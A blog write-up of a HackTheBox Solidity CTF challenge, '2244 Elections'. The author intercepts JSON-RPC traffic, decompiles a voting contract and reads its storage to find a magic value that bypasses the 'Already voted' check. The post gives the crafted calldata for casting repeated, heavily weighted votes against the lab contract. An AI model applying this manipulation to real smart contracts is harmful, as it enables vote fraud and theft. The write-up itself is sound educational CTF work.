Skip to main content

HackTheBox Business CTF - 2244 Elections

· 8 min read
Kaan Caglan

2244 Elections is a Solidity CTF challenge from Hack The Box. When we spawn the docker we are getting only 1ip port pairs. So our general approach is not going to work here.

docker spawned

And appearantly that ip:port pair is a web page.

creds

If we click the Connection button on right upper we get our credentials

{
"PrivateKey": "0x86e20db2fd41d46e3c1f9fba4251f47888ad2fce181d815fd6029883b22cad84",
"Address": "0xBD1A71b64E46b731E7268eA3Ec70D99399f57d14",
"TargetAddress": "0x98cA011fAdCCef08800803Ce26319782B24F498E",
"setupAddress": "0x28744218B1B7938EAb17BA9d4847f4ceBD846444"
}

Source Codes

With this challenge we got only one contract and thats the Setup.sol and we don't have the source code of Target. So it will be kind of blackbox.

Setup.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Voting} from "./Voting.sol";

contract Setup {
Voting public immutable TARGET;

constructor() payable {
require(msg.value == 1 ether);
TARGET = new Voting();
}

function isSolved() public view returns (bool) {
return (TARGET.WinningParty() == bytes3("UNZ"));
}
}

Solution

We can only see that the party UNZ should win for us to get the flag. And we have no idea what is written on Voting contract. So we need to track something from web page with the help of burp suite. I see there are couple POST /rpc requests when i refresh the page.

Request

POST /rpc HTTP/1.1
Host: 94.237.54.201:35156
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://94.237.54.201:35156/
Content-Type: application/json
Content-Length: 250
Origin: http://94.237.54.201:35156
Connection: close

{"jsonrpc":"2.0","method":"eth_call","params":[{"from":"0xBD1A71b64E46b731E7268eA3Ec70D99399f57d14","to":"0x98cA011fAdCCef08800803Ce26319782B24F498E","data":"0xb5b8f5bd426f410000000000000000000000000000000000000000000000000000000000"}],"id":"latest"}

Response

HTTP/1.1 200 OK
Server: gunicorn
Date: Sat, 15 Jul 2023 20:58:06 GMT
Connection: close
content-type: application/json
Content-Length: 109
access-control-allow-origin: *
vary: origin
vary: access-control-request-method
vary: access-control-request-headers
Access-Control-Allow-Origin: http://94.237.54.201:35156
Vary: Origin

{"jsonrpc":"2.0","id":"latest","result":"0x0000000000000000000000000000000000000000000000000000000008f0d17f"}

So we can see that they are using Ethereum JSON-RPC for calls. From the data section on that json we can understand the function from function signature (first 4 bytes). If we just copy paste it to 4byte dictionary we can see that request is PartyVotes(bytes3) so it returns value and web page just creates animation for those percentages.

creds

If we click Vote and select UNZ and SEND we see another request

Request

POST /rpc HTTP/1.1
Host: 94.237.54.201:35156
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://94.237.54.201:35156/
Content-Type: application/json
Content-Length: 389
Origin: http://94.237.54.201:35156
Connection: close

{"jsonrpc":"2.0","method":"eth_sendTransaction","params":[{"from":"0xBD1A71b64E46b731E7268eA3Ec70D99399f57d14","to":"0x98cA011fAdCCef08800803Ce26319782B24F498E","data":"0xf163fff9554e5a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"}],"id":"latest"}

Response

HTTP/1.1 200 OK
Server: gunicorn
Date: Sat, 15 Jul 2023 21:05:16 GMT
Connection: close
content-type: application/json
Content-Length: 109
access-control-allow-origin: *
vary: origin
vary: access-control-request-method
vary: access-control-request-headers
Access-Control-Allow-Origin: http://94.237.54.201:35156
Vary: Origin

{"jsonrpc":"2.0","id":"latest","result":"0x7d7952651d5840ad2ea2e51dd482cd0579c902bb5f12e682d9b29821fd3529b1"}

And that 0xf163fff9 stands for publicVote(bytes3,bytes4,bytes3)

vote

So we know how to vote for our party. However if we try to resend that request we get "execution reverted: Already voted!" error. So we just can send 1 vote. We can try to get byteCode of this contract with the help of JSON-RPC.

Request

POST /rpc HTTP/1.1
Host: 94.237.54.201:35156
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://94.237.54.201:35156/
Content-Type: application/json
Content-Length: 120
Origin: http://94.237.54.201:35156
Connection: close

{"jsonrpc":"2.0","method":"eth_getCode","params":[
"0x98cA011fAdCCef08800803Ce26319782B24F498E",
"0x2"],"id":"latest"}

Response

HTTP/1.1 200 OK
Server: gunicorn
Date: Sat, 15 Jul 2023 21:09:11 GMT
Connection: close
content-type: application/json
Content-Length: 1875
access-control-allow-origin: *
vary: origin
vary: access-control-request-method
vary: access-control-request-headers
Access-Control-Allow-Origin: http://94.237.54.201:35156
Vary: Origin

{"jsonrpc":"2.0","id":"latest","result":"0x6080604052600436101561001257600080fd5b6000803560e01c9081631ee7b2d7146100bd5781632a58bee1146100755750806386de697014610070578063aadd1d041461006b578063b5b8f5bd146100665763f163fff91461006157600080fd5b61019e565b610163565b610128565b6100d7565b346100ba5760203660031901126100ba576004356001600160a01b038116908190036100b65760408260ff9260209452600384522054166040519015158152f35b5080fd5b80fd5b346100ba57806003193601126100ba575460805260206080f35b346100f55760003660031901126100f5576020600254604051908152f35b600080fd5b600435906001600160e81b0319821682036100f557565b604435906001600160e81b0319821682036100f557565b346100f55760203660031901126100f5576101496101446100fa565b6102df565b005b62ffffff60e81b166000526004602052604060002090565b346100f55760203660031901126100f5576001600160e81b03196101856100fa565b1660005260046020526020604060002054604051908152f35b346100f55760603660031901126100f5576101b76100fa565b602435906001600160e01b0319821682036100f557610149916101d8610111565b6101ec6101e48461014b565b54151561025f565b60e81c906001549060e01c1460011461024a575060015b336000908152600360205260409020546102209060ff16156102a2565b62ffffff61022d8361014b565b9116815401905533600052600360205260016040600020556102df565b33600052600360205260006040812055610203565b1561026657565b60405162461bcd60e51b8152602060048201526014602482015273506172747920646f65736e27742065786973742160601b6044820152606490fd5b156102a957565b60405162461bcd60e51b815260206004820152600e60248201526d416c726561647920766f7465642160901b6044820152606490fd5b6001600160e81b03191660008181526004602052604090205460025411156103045750565b6080817fba098fd59af30ed214753aea9c85711148ca596d1eda2b08605bab9bc5d22d8692600055604051908152604060208201526011604082015270776f6e2074686520456c656374696f6e7360781b6060820152a156fea264697066735822122049861426e16379e484aec538daf43f9ae57a34b7f04aead974fadddea7296b6064736f6c63430008140033"}

Now we have the bytecode of the contract. We can try to decode it with public decoders like dedaub. If we decompile it Dedaub gives us this decoded code.

// Decompiled by library.dedaub.com
// 2023.07.14 14:16 UTC
// Compiled using the solidity compiler version 0.8.20


// Data structures and variables inferred from the use of storage instructions
uint256 stor_0; // STORAGE[0x0]
uint256 stor_1; // STORAGE[0x1]
uint256 stor_2; // STORAGE[0x2]
mapping (uint256 => uint256) owner; // STORAGE[0x3]
mapping (uint256 => uint256) map_4; // STORAGE[0x4]



function 0xf163fff9(bytes3 varg0, bytes4 varg1, bytes3 varg2) public nonPayable {
require(~3 + msg.data.length >= 96);
require(!(varg0 - varg0));
require(!(varg1 - varg1));
require(!(varg2 - varg2));
require(!bool(!map_4[bytes3(varg0)]), Error("Party doesn't exist!"));
v0 = v1 = varg2 >> 232;
if (1 == (varg1 >> 224 == stor_1)) {
owner[msg.sender] = 0;
goto 0x203;
} else {
v0 = v2 = 1;
}
require(!bool(uint8(owner[msg.sender])), Error('Already voted!'));
map_4[varg0] = map_4[varg0] + uint24(v0);
owner[msg.sender] = 1;
if (stor_2 <= map_4[varg0]) {
stor_0 = varg0;
emit 0xba098fd59af30ed214753aea9c85711148ca596d1eda2b08605bab9bc5d22d86(varg0, 'won the Elections');
goto 0x5ce;
}
}

function 0xb5b8f5bd(bytes3 varg0) public nonPayable {
require(~3 + msg.data.length >= 32);
require(!(varg0 - varg0));
return map_4[varg0];
}

function 0xaadd1d04(bytes3 varg0) public nonPayable {
require(~3 + msg.data.length >= 32);
require(!(varg0 - varg0));
if (stor_2 <= map_4[varg0]) {
stor_0 = varg0;
emit 0xba098fd59af30ed214753aea9c85711148ca596d1eda2b08605bab9bc5d22d86(varg0, 'won the Elections');
goto 0x5ad;
}
}

function 0x86de6970() public nonPayable {
require(~3 + msg.data.length >= 0);
return stor_2;
}

function 0x2a58bee1(address varg0) public nonPayable {
require(~3 + msg.data.length >= 32);
require(!(varg0 - varg0));
return bool(uint8(owner[address(varg0)]));
}

function 0x1ee7b2d7() public nonPayable {
require(msg.data.length + ~3 >= 0);
return stor_0;
}

// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.

function __function_selector__(bytes4 function_selector) public payable {
MEM[64] = 128;
require(msg.data.length >= 4);
if (0x1ee7b2d7 == function_selector >> 224) {
0x1ee7b2d7();
} else if (0x2a58bee1 == function_selector >> 224) {
0x2a58bee1();
} else if (0x86de6970 == function_selector >> 224) {
0x86de6970();
} else if (0xaadd1d04 == function_selector >> 224) {
0xaadd1d04();
} else if (0xb5b8f5bd == function_selector >> 224) {
0xb5b8f5bd();
} else {
require(0xf163fff9 == function_selector >> 224);
0xf163fff9();
}
}

From here we can see function 0xb5b8f5bd and 0xf163fff9 which are stand for PartyVotes(bytes3) and publicVote(bytes3,bytes4,bytes3). So if we take a look to the PartyVotes function there is pretty much nothing special, it just gets one bytes3 variable which is in this case our party name and returns the value from map return map_4[varg0];. So we can assume that map_4 is responsible to count votes. However on publicVote(bytes3,bytes4,bytes3) function there are some interesting controls.

    if (1 == (varg1 >> 224 == stor_1)) {
owner[msg.sender] = 0;
goto 0x203;
} else {
v0 = v2 = 1;
}

If code enters to that if statement it just assigns 0 to owner[msg.sender] and which is controlled right after that if else block in require statement and raises error "Already voted" require(!bool(uint8(owner[msg.sender])), Error('Already voted!')); so it mean that owner map is controlling if msg.sender already voted or not. But if we bypass that if statement somehow it means we can vote again.

That if statement will be True only if 224 right shifted varg1 is equal to stor_1. To achieve this we need to find what is hidden in stor_1. We can do that again with JSON-Rpc with calling getStorageAt. And that stor_1 is on index 1.

Request

POST /rpc HTTP/1.1
Host: 94.237.54.201:35156
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://94.237.54.201:35156/
Content-Type: application/json
Content-Length: 136
Origin: http://94.237.54.201:35156
Connection: close

{"jsonrpc":"2.0","method":"eth_getStorageAt","params":[
"0x98cA011fAdCCef08800803Ce26319782B24F498E",
"0x1",
"latest"],"id":"latest"}

Response

HTTP/1.1 200 OK
Server: gunicorn
Date: Sat, 15 Jul 2023 21:17:06 GMT
Connection: close
content-type: application/json
Content-Length: 109
access-control-allow-origin: *
vary: origin
vary: access-control-request-method
vary: access-control-request-headers
Access-Control-Allow-Origin: http://94.237.54.201:35156
Vary: Origin

{"jsonrpc":"2.0","id":"latest","result":"0x00000000000000000000000000000000000000000000000000000000f00dbabe"}

So now we know that the value in stor_1 is 0xf00dbabe. And varg2 is used to increase vote count, and if we pass that if statement it means we can also give more vote than 1 in the same time. From the vote rpc request we know our party id is 0x554e5a, we know we should send varg1 as 0xf00dbabe and we also know varg2 is our vote power, so we can give it 0xffffff as maximum. To create this data we can write very small solidity code on local.

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.0;

contract GetData {
constructor() public {
}

function getData(bytes3 varg0, bytes4 varg1, bytes3 varg2) public view returns (bytes memory){
return abi.encodeWithSignature("publicVote(bytes3,bytes4,bytes3)", varg0, varg1, varg2);
}
}

And we can create that data with calling this function

>>> x = GetData.deploy({'from': accounts[0]})
Transaction sent: 0x5e53943d0e6d6510c021dc6f5e32f2068d5a2da597fcbf81265aefddac14dfba
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 8
GetData.constructor confirmed Block: 9 Gas used: 132151 (1.10%)
GetData deployed at: 0x420b1099B9eF5baba6D92029594eF45E19A04A4A

>>> x.getData(0x554e5a, 0xf00dbabe, 0xffffff)
0xf163fff9554e5a0000000000000000000000000000000000000000000000000000000000f00dbabe00000000000000000000000000000000000000000000000000000000ffffff0000000000000000000000000000000000000000000000000000000000
>>>

So if we call vote request with this data we should be able to vote over and over again until we won the election. Since we can't vote anymore, we just need to restart machine, intercept our request and change data with this one.

flag

And after interception when we click Forward and refresh the page we see that our party got ~%10 more percentage and became %20.

flag

So if we keep sending same request ~8 times with the help of repeater we will won the election.

flag

FLAG

flag